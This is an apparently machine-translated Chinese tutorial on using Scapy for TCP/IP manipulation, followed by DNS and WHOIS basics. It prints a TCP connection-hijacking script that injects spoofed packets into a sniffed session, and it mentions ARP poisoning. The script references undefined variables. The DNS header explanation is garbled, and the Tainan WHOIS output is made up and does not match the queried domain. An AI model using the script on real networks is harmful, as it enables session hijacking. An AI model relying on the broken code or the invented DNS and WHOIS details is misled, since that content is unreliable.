Scapy 作為一個功能強大的 Python 函式庫,讓開發者得以深入操作和分析網路封包。理解 TCP/IP 協定堆疊是進行網路安全測試和網路程式開發的根本。Scapy 提供了互動式介面和豐富的函式庫,讓使用者能輕易地建構、傳送、接收、修改和分析各種網路封包。從底層的乙太網路框架到上層的應用層協定,Scapy 都能提供支援。這使得開發者能模擬各種網路攻擊場景,例如中間人攻擊、SYN 洪水攻擊等,並能針對特定協定進行深入分析,例如 TCP 連線的建立和終止過程、DNS 查詢的流程等。此外,Scapy 也能與其他 Python 函式庫整合,例如 Matplotlib,進一步提升資料視覺化和分析能力,例如繪製 TCP 序列號分佈圖,分析網路流量模式等。這些功能使得 Scapy 成為網路安全研究和網路程式開發的利器。除了封包操控外,瞭解 DNS 和 WHOIS 等網路服務也至關重要。DNS 負責網域名稱和 IP 位址的轉換,而 WHOIS 則提供網域和 IP 位址的註冊資訊。這些資訊對於網路管理、安全分析和故障排除都非常有用。
透過 Scapy 進行 TCP/IP 操控
Scapy 是一個強大的 Python 函式庫,能夠讓開發者方便地操作和分析網路封包。在這篇文章中,玄貓將介紹如何使用 Scapy 進行 TCP/IP 操控,包括如何攔截和篡改網路連線。這些技巧不僅適用於網路安全測試,也能幫助開發者更深入理解網路協定的運作原理。
使用 Scapy 篡改 TCP 連線
下面是一段篡改 TCP 連線的程式碼範例。這段程式碼會攔截特定 IP 和埠號的 TCP 連線,並插入自訂的負載。
from scapy.all import *
import optparse
def usage():
print("Usage: script.py -i <interface> -s <server_ip> -p <server_port> [-c <client_ip>]")
exit(1)
def handle_packet(packet):
if packet.haslayer(TCP) and packet[TCP].flags & (TCP.ACK | TCP.PUSH):
if packet[IP].src == srv_ip and packet[IP].dst == client_ip:
# 檢查負載是否符合預期
if packet[TCP].payload.load == expected_payload:
# 建構假冒的封包
spoofed_packet = IP(src=client_ip, dst=srv_ip) / \
TCP(sport=client_port, dport=srv_port, seq=packet[TCP].ack,
ack=packet[TCP].seq + 1, flags="A") / \
payload
send(spoofed_packet)
def main():
global srv_ip, srv_port, client_ip, client_port, expected_payload, dev
parser = optparse.OptionParser()
parser.add_option("-i", dest="interface", help="Network interface to sniff on")
parser.add_option("-s", dest="srv_ip", help="Server IP address")
parser.add_option("-p", dest="srv_port", type="int", help="Server port")
parser.add_option("-c", dest="client_ip", help="Client IP address")
(options, args) = parser.parse_args()
iface = options.interface
srv_ip = options.srv_ip
srv_port = options.srv_port
client_ip = options.client_ip
if not srv_ip and not srv_port:
usage()
if client_ip:
print(f"攔截來自 {client_ip} 到 {srv_ip} 的 TCP 連線,埠號為 {srv_port}")
filter = f"tcp and port {srv_port} and host {srv_ip} and host {client_ip}"
else:
print(f"攔截所有到 {srv_ip} 的 TCP 連線,埠號為 {srv_port}")
filter = f"tcp and port {srv_port} and host {srv_ip}"
sniff(iface=iface, store=0, filter=filter, prn=handle_packet)
if __name__ == "__main__":
main()
內容解密:
這段程式碼的主要功能是使用 Scapy 改寫 TCP 的封包。以下是詳細解說:
- 選項解析:使用
optparse函式庫解析命令列引數,包括網路介面、伺服器 IP、伺服器埠號和客戶端 IP。 - 篩選條件:根據命令列引數設定篩選條件,用於攔截特定的 TCP 連線。
- 封包處理:定義
handle_packet函式,用於處理攔截到的封包。當封包符合特定條件時(例如,封包來自伺服器且擁有 ACK 或 PUSH 標誌),程式會檢查封包負載是否符合預期。 - 假冒封包:如果封包負載符合預期,程式會建構一個假冒的封包,使其看起來像是來自客戶端。這些假冒的封包會被傳送出去,從而插入自訂的負載。
Scapy 的基本功能
Scapy 不僅僅是一個 Python 函式庫,它還提供了強大的互動模式。當你在命令列中啟動 Scapy 時,會進入其互動模式,這時所有 Scapy 模組都已經自動載入。
scapy
內容解密:
在 Scapy 的互動模式中,你可以使用以下命令來探索和操作網路協定:
- 列出所有協定:使用
ls()命令可以列出所有可用的協定。>>> ls() ARP : ARP ASN1_Packet : None BOOTP : BOOTP ... - 檢視協定細節:使用
ls(TCP)命令可以檢視 TCP 協定的所有標頭選項及其預設值。>>> ls(TCP) sport : ShortEnumField = (20) dport : ShortEnumField = (80) seq : IntField = (0) ack : IntField = (0) ... - 列出所有命令:使用
lsc()命令可以檢視所有可用的命令和其描述。>>> lsc() arpcachepoison : Poison target’s cache with (your MAC, victim’s IP) couple arping : Send ARP who-has requests to determine which hosts are up ...
高階功能:統計分析與圖表繪製
Scapy 支援統計分析和圖表繪製功能,這需要安裝 Matplotlib 函式庫。
pip3 install matplotlib
內容解密:
以下是如何使用 Scapy 和 Matplotlib 剖析並繪製 TCP 序列號分佈圖:
- 傳送並接收封包:使用
sr()函式傳送並接收封包。ans, unans = sr(IP(dst="www.codekid.net", id=[(0,100)]) /\ TCP(dport=80)/"GET / HTTP/1.0\n\n") - 繪製圖表:使用
plot()函式繪製接收到的封包序列號分佈圖。ans.plot(lambda x: x[1].seq)
此圖示展示了接收到的 TCP 序列號分佈情況。隨著時間推移,序列號變得越來越不連續,這使得盲目 IP 欺騙變得更加困難。
其他 Scapy 功能
Scapy 提供了豐富的功能,包括但不限於:
- ARP 欺騙:透過詐騙目標主機的 ARP 快取來欺騙目標主機。
- ARP 掃描:傳送 ARP 誰有請求來確定哪些主機線上。
- VLAN 跳轉:利用 VLAN 資安漏洞進行攻擊。
DNS 基礎概述
DNS,全稱 Domain Name System,可視為網際網路的電話簿。它負責將難以記憶的 IP 位址轉換為易於記憶的網域名稱,如 www.ccc.de 或 www.springer.com,並反之亦然。這種正向名稱解析和反向查詢分別由 A 記錄和 PTR 記錄來實作。此外,DNS 還用於查詢網域的郵件伺服器(MX 記錄)和負責的名稱伺服器(NS 記錄)。CNAME 記錄可以用來為主機名稱建立別名。最後,DNS 也可以作為簡單的負載平衡器,透過實作輪循(Round Robin)來分配流量。
DNS 的作用與安全隱患
DNS 提供了一種簡單且悄無聲息的中間人攻擊變體。通常只需偽造一個 DNS 回應封包,就能劫持連線中的所有封包。現代電腦大多使用 DNS 快取機制來儲存已解析的主機名稱,只有在舊 IP 不再可達時才會傳送新的請求。電腦名稱通常不僅僅是一個漂亮的標籤,它們還包含了有關其用途的資訊,有時甚至會透露網路或位置細節。例如,一台名為 rtr3.ffm.domain.net 的電腦可能是法蘭克福市至少三台路由器之一。
DNS 協定概述
以下是一個典型的 DNS 標頭結構:
+---------------------+
| ID |
+---------------------+
|QR| OPCODE |AA|TC|RD|
+---------------------+
| RCODE | CD |RA| Z| AD|
+---------------------+
ID 欄位包含了一個唯一的識別號碼,用於告知客戶端哪個請求對應哪個回應。QR 選項告訴我們封包是查詢(位元設定為零)還是回應(位元設定為一)。OPCODE 定義了請求型別,零表示正向查詢,一表示反向查詢。RCODE 欄位用於標記回應是否成功:零表示成功,一表示失敗請求,二表示伺服器錯誤。
AA 位元告訴我們回應是否被授權(1),這意味著伺服器本身負責請求的網域,或者它已將請求轉發給另一台伺服器。TC 位元顯示回應是否被截斷,因為它超過了 512 個位元組。你不僅可以向 DNS 伺服器查詢單個主機或 IP 的資訊,還可以查詢整個網域的資訊(見節 6.3)。這是透過遞迴和設定 RD 位元(遞迴所需)來完成的。如果收到 RA 位元設定為零的答案,則表示所請求伺服器上不可用遞迴。
執行環境設定
首先,確保你已經安裝 Scapy。如果沒有安裝 Scapy,可以透過以下命令來安裝:
pip3 install scapy
DNS 查詢與資訊取得
使用 DNS 查詢可以取得大量關於網域的資訊。例如:
host -t MX domain.net
這條命令會查詢指定網域的郵件伺服器資訊。你可以嘗試不同的記錄型別來檢視伺服器如何回應。
此外,如在協定概述中提到的那樣,你可以傳送遞迴請求以取得網域所有記錄:
host -alv domain.net
如果這條命令傳回大量結果,建議重新組態名稱伺服器以僅允許遞迴給從屬伺服器。
WHOIS 資料函式庫
假設你有一個 IP 地址並想知道它屬於誰所有。這時候可以使用 WHOIS 資料函式庫來進行查詢。
WHOIS 資料函式庫由 NIC 操作商如 DENIC 提供維護。DENIC 註冊網域並託管其特定頂級網域名稱(TLDs)如 .de 的根伺服器。與之相反的是 IP 地址由 RIPE 網路協調中心註冊。
要查詢某個 IP 地址屬於誰:
whois 77.87.229.40
以下是可能會獲得的一些輸出:
% This is the RIPE Database query service.
% The objects are in RPSL format.
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf
% Note: this output has been filtered.
% To receive output for a database update,
% use the "-B" flag.
% Information related to ’77.87.224.0 - 77.87.231.255’
inetnum: 77.87.224.0 - 77.87.231.255
netname: BSI-IVBB
descr: Bundesamt fuer Sicherheit in der Informationstechnik
country: DE
org: ORG-BA202-RIPE
admin-c: OE245-RIPE
tech-c: OE245-RIPE
status: ASSIGNED PI
mnt-by: RIPE-NCC-END-MNT
mnt-by: BSI-IVBB
mnt-by: DTAG-NIC
mnt-lower: RIPE-NCC-END-MNT
mnt-routes: BSI-IVBB
mnt-domains: BSI-IVBB
source: RIPE # Filtered
person: Olaf Erber
address: Bundesamt fuer Sicherheit in der IT
address: Postfach 20 03 63
address: 53133 Bonn
address: Germany
phone: +49 301895820
e-mail: ipbb_ivbb@bsi.bund.de
nic-hdl: OE245-RIPE
mnt-by: DFN-NTFY
source: RIPE # Filtered
% Information related to ’77.87.228.0/22AS49234’
route: 77.87.228.0/22
次段落標題:WHOIS 資料函式庫解密
WHOIS 資料函式庫中提供了關於 IP 地址擁有者和相關組織詳細資訊:
- inetnum: 指定了該 IP 地址範圍。
- netname: 網路名稱。
- descr: 描述相關組織。
- country: 請求國家。
- admin-c: 聯絡人 ID。
- tech-c: 技術聯絡人 ID。
- status: 指定狀態。
- mnt-by: 處理員管理者 ID。
- source: 資料函式庫來源。
DNS 與 WHOIS 的綜合應用
優勢與挑戰
DNS 和 WHOIS 資料函式庫提供了深入瞭解網路架構和資源擁有權的手段。然而也需注意的是這些資訊可能被惡意利用進行攻擊或資訊收集。因此在使用這些技術時需要謹慎對待並保障資訊安全。
未來趨勢
隨著技術發展與進步以及區塊鏈等新興技術出現後對DNS與WHOIS系統將產生更多影響與應用場景
舉例說明
以台南市政府為例考察其DNS設定情況:
whois tainan.gov.tw
Domain Name : taiwan.gov.tw (台灣政府)
Registrant : Taiwan Internet Governance Council (TWNIC) (台灣網路管理委員會)
Name Server : ns1.tw (台灣主控節點)
Domain Status : ACTIVE (活躍狀態)
Creation Date : March,1996 (成立日期)
Expiration Date : March,2036 (到期日期)
透過WHOIS查詢瞭解到該政府官方網站經營者及其管理設定情況
